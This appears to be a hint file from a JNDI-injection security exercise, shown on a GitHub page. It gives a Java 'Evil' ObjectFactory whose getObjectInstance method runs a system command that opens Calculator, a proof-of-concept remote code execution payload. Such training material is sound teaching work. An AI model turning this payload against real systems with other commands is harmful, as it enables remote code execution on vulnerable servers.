Skip to content

Latest commit

 

History

History
14 lines (11 loc) · 323 Bytes

hint3.md

File metadata and controls

14 lines (11 loc) · 323 Bytes

Hint 3

Now override the methode:

public class Evil implements ObjectFactory {

   @Override
   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
       Runtime.getRuntime().exec("open -a Calculator"); //for mac
       return null;
   }
}